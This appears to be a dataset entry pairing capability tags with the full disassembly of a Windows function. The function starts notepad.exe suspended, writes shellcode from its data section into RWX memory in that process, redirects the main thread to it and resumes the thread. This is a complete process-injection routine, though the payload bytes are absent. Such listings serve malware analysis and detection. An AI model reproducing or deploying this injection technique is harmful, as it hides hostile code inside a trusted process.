Function at 0x1400110d2
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
jmp 0x140012370
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x980
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x18c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x9a8]
mov rax, qword [0x14001f180]
xor rax, rbp
mov qword [rbp + 0x928], rax
lea rcx, [0x1400250f2]
call fcn.140011424
lea rax, [rbp + 0x10]
lea rcx, str.C:WindowsSystem32_notepad.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x40
rep movsb byte [rdi], byte [rsi]
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x70]
call fcn.140011361
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0xf8]
call fcn.140011361
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140012480
lea rdx, str.Failed_to_start_Notepad_process.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001270b
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x115
xor edx, edx
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x128], rax
cmp qword [rbp + 0x128], 0
jne 0x14001250d
lea rdx, str.Failed_to_allocate_memory_in_the_remote_process.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14001270b
mov qword [rsp + 0x20], 0
mov r9d, 0x115
lea r8, section..data
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400125b1
lea rdx, str.Failed_to_write_shellcode_into_remote_process_memory.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14001270b
mov dword [rbp + 0x180], 0x100001
lea rdx, [rbp + 0x150]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140012649
lea rdx, str.Failed_to_get_main_thread_context.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14001270b
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x248], rax
lea rdx, [rbp + 0x150]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400126e2
lea rdx, str.Failed_to_update_main_thread_context.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14001270b
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001bcf0]
call fcn.1400113b6
mov rax, rdi
mov rcx, qword [rbp + 0x928]
xor rcx, rbp
call fcn.140011226
lea rsp, [rbp + 0x930]
pop rdi
pop rsi
pop rbp
ret